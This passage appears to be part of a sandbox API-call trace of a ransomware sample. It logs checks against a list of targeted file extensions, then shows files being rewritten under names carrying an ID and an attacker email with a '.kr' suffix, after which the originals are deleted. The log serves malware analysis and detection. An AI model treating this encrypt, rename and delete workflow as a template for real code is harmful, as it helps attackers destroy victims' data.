lpString2=".rtf") returned -1 [0079.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.547] lstrlenW (lpString=".doc") returned 4 [0079.547] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0079.547] lstrlenW (lpString=".docx") returned 5 [0079.547] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0079.547] lstrlenW (lpString=".pdf") returned 4 [0079.547] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0079.547] lstrlenW (lpString=".xls") returned 4 [0079.547] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0079.547] lstrlenW (lpString=".xlsx") returned 5 [0079.547] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0079.547] lstrlenW (lpString=".ppt") returned 4 [0079.547] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0079.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.547] lstrlenW (lpString=".zip") returned 4 [0079.547] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0079.547] lstrlenW (lpString=".rar") returned 4 [0079.547] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0079.547] lstrlenW (lpString=".bz2") returned 4 [0079.547] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0079.547] lstrlenW (lpString=".7z") returned 3 [0079.547] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0079.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.547] lstrlenW (lpString=".dbf") returned 4 [0079.547] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0079.547] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.547] lstrlenW (lpString=".1cd") returned 4 [0079.548] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0079.548] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0079.548] lstrlenW (lpString=".jpg") returned 4 [0079.548] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0079.548] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0079.548] lstrlenW (lpString="LocalizedData.xml") returned 17 [0079.548] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.344] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=60816) returned 1 [0081.344] CloseHandle (hObject=0x2f4) returned 1 [0081.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0081.344] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0081.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.344] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0081.344] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0081.344] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0081.344] GetLastError () returned 0x0 [0081.344] ReadFile (in: hFile=0x2f4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xed90, lpOverlapped=0x0) returned 1 [0081.347] WriteFile (in: hFile=0x2f8, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xeda0, lpOverlapped=0x0) returned 1 [0081.349] ReadFile (in: hFile=0x2f4, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0081.349] WriteFile (in: hFile=0x2f8, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0081.349] SetEndOfFile (hFile=0x2f8) returned 1 [0081.349] CloseHandle (hObject=0x2f8) returned 1 [0081.351] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0081.351] SetEndOfFile (hFile=0x2f4) returned 1 [0081.352] CloseHandle (hObject=0x2f4) returned 1 [0081.353] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0081.353] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0081.353] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.353] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.353] lstrlenW (lpString=".doc") returned 4 [0081.353] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0081.353] lstrlenW (lpString=".docx") returned 5 [0081.354] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0081.354] lstrlenW (lpString=".pdf") returned 4 [0081.354] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0081.354] lstrlenW (lpString=".xls") returned 4 [0081.354] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0081.354] lstrlenW (lpString=".xlsx") returned 5 [0081.354] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0081.354] lstrlenW (lpString=".ppt") returned 4 [0081.354] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0081.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.354] lstrlenW (lpString=".zip") returned 4 [0081.354] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0081.354] lstrlenW (lpString=".rar") returned 4 [0081.354] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0081.354] lstrlenW (lpString=".bz2") returned 4 [0081.354] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0081.354] lstrlenW (lpString=".7z") returned 3 [0081.354] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0081.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.354] lstrlenW (lpString=".dbf") returned 4 [0081.354] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0081.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.354] lstrlenW (lpString=".1cd") returned 4 [0081.354] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0081.354] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.354] lstrlenW (lpString=".jpg") returned 4 [0081.354] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.355] lstrlenW (lpString=".doc") returned 4 [0081.355] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString=".docx") returned 5 [0081.355] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0081.355] lstrlenW (lpString=".pdf") returned 4 [0081.355] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString=".xls") returned 4 [0081.355] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString=".xlsx") returned 5 [0081.355] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0081.355] lstrlenW (lpString=".ppt") returned 4 [0081.355] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.355] lstrlenW (lpString=".zip") returned 4 [0081.355] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0081.355] lstrlenW (lpString=".rar") returned 4 [0081.355] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString=".bz2") returned 4 [0081.355] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString=".7z") returned 3 [0081.355] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0081.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.355] lstrlenW (lpString=".dbf") returned 4 [0081.355] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.355] lstrlenW (lpString=".1cd") returned 4 [0081.355] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0081.355] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0081.355] lstrlenW (lpString=".jpg") returned 4 [0081.356] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0081.356] Sleep (dwMilliseconds=0x64) [0082.095] lstrcmpiW (lpString1=".rtf", lpString2=".kr") returned 1 [0082.095] lstrlenW (lpString="eula.rtf") returned 8 [0082.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0082.096] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=3419) returned 1 [0082.096] CloseHandle (hObject=0x304) returned 1 [0082.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0082.096] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0082.096] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0082.097] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0082.097] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0082.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0082.100] GetLastError () returned 0x0 [0082.100] ReadFile (in: hFile=0x304, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0xd5b, lpOverlapped=0x0) returned 1 [0082.105] WriteFile (in: hFile=0x308, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xd60, lpOverlapped=0x0) returned 1 [0082.106] ReadFile (in: hFile=0x304, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0082.106] WriteFile (in: hFile=0x308, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xe4, lpOverlapped=0x0) returned 1 [0082.106] SetEndOfFile (hFile=0x308) returned 1 [0082.106] CloseHandle (hObject=0x308) returned 1 [0082.115] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0082.115] SetEndOfFile (hFile=0x304) returned 1 [0082.116] CloseHandle (hObject=0x304) returned 1 [0082.116] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0082.116] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0082.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.116] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.116] lstrlenW (lpString=".doc") returned 4 [0082.116] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0082.116] lstrlenW (lpString=".docx") returned 5 [0082.116] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0082.116] lstrlenW (lpString=".pdf") returned 4 [0082.116] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0082.116] lstrlenW (lpString=".xls") returned 4 [0082.117] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0082.117] lstrlenW (lpString=".xlsx") returned 5 [0082.117] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0082.117] lstrlenW (lpString=".ppt") returned 4 [0082.117] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.117] lstrlenW (lpString=".zip") returned 4 [0082.117] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0082.117] lstrlenW (lpString=".rar") returned 4 [0082.117] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString=".bz2") returned 4 [0082.117] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString=".7z") returned 3 [0082.117] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0082.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.117] lstrlenW (lpString=".dbf") returned 4 [0082.117] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.117] lstrlenW (lpString=".1cd") returned 4 [0082.117] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.117] lstrlenW (lpString=".jpg") returned 4 [0082.117] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.117] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.117] lstrlenW (lpString=".doc") returned 4 [0082.117] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString=".docx") returned 5 [0082.117] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0082.117] lstrlenW (lpString=".pdf") returned 4 [0082.117] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0082.117] lstrlenW (lpString=".xls") returned 4 [0082.117] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0082.118] lstrlenW (lpString=".xlsx") returned 5 [0082.118] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0082.118] lstrlenW (lpString=".ppt") returned 4 [0082.118] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0082.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.118] lstrlenW (lpString=".zip") returned 4 [0082.118] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0082.118] lstrlenW (lpString=".rar") returned 4 [0082.118] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0082.118] lstrlenW (lpString=".bz2") returned 4 [0082.118] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0082.118] lstrlenW (lpString=".7z") returned 3 [0082.118] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0082.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.118] lstrlenW (lpString=".dbf") returned 4 [0082.118] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0082.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.118] lstrlenW (lpString=".1cd") returned 4 [0082.118] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0082.118] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0082.118] lstrlenW (lpString=".jpg") returned 4 [0082.118] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0082.118] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0082.118] lstrlenW (lpString="LocalizedData.xml") returned 17 [0082.118] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0082.119] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=82346) returned 1 [0082.119] CloseHandle (hObject=0x304) returned 1 [0082.119] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80 [0082.119] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0082.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0082.119] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0082.119] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0082.119] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0082.119] GetLastError () returned 0x0 [0082.119] ReadFile (in: hFile=0x304, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x141aa, lpOverlapped=0x0) returned 1 [0082.123] WriteFile (in: hFile=0x308, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x141b0, lpOverlapped=0x0) returned 1 [0082.126] ReadFile (in: hFile=0x304, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0082.126] WriteFile (in: hFile=0x308, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0xf6, lpOverlapped=0x0) returned 1 [0082.126] SetEndOfFile (hFile=0x308) returned 1 [0082.126] CloseHandle (hObject=0x308) returned 1 [0082.129] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0082.129] SetEndOfFile (hFile=0x304) returned 1 [0082.130] CloseHandle (hObject=0x304) returned 1 [0082.130] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0082.131] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1 [0082.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.131] lstrlenW (lpString=".doc") returned 4 [0082.131] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.131] lstrlenW (lpString=".docx") returned 5 [0082.131] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0082.131] lstrlenW (lpString=".pdf") returned 4 [0082.131] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.131] lstrlenW (lpString=".xls") returned 4 [0082.131] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.131] lstrlenW (lpString=".xlsx") returned 5 [0082.131] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0082.131] lstrlenW (lpString=".ppt") returned 4 [0082.131] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.131] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.131] lstrlenW (lpString=".zip") returned 4 [0082.132] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.132] lstrlenW (lpString=".rar") returned 4 [0082.132] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString=".bz2") returned 4 [0082.132] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString=".7z") returned 3 [0082.132] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.132] lstrlenW (lpString=".dbf") returned 4 [0082.132] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.132] lstrlenW (lpString=".1cd") returned 4 [0082.132] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.132] lstrlenW (lpString=".jpg") returned 4 [0082.132] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.132] lstrlenW (lpString=".doc") returned 4 [0082.132] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString=".docx") returned 5 [0082.132] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0082.132] lstrlenW (lpString=".pdf") returned 4 [0082.132] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString=".xls") returned 4 [0082.132] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString=".xlsx") returned 5 [0082.132] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0082.132] lstrlenW (lpString=".ppt") returned 4 [0082.132] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0082.132] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.132] lstrlenW (lpString=".zip") returned 4 [0082.132] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0082.133] lstrlenW (lpString=".rar") returned 4 [0082.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0082.133] lstrlenW (lpString=".bz2") returned 4 [0082.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0082.133] lstrlenW (lpString=".7z") returned 3 [0082.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0082.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.133] lstrlenW (lpString=".dbf") returned 4 [0082.133] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0082.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.133] lstrlenW (lpString=".1cd") returned 4 [0082.133] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0082.133] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44 [0082.133] lstrlenW (lpString=".jpg") returned 4 [0082.133] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0082.133] Sleep (dwMilliseconds=0x64) [0083.744] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0083.744] lstrlenW (lpString="LocalizedData.xml") returned 17 [0083.744] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0084.201] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=77232) returned 1 [0084.201] CloseHandle (hObject=0x324) returned 1 [0084.201] GetFileAttributesW 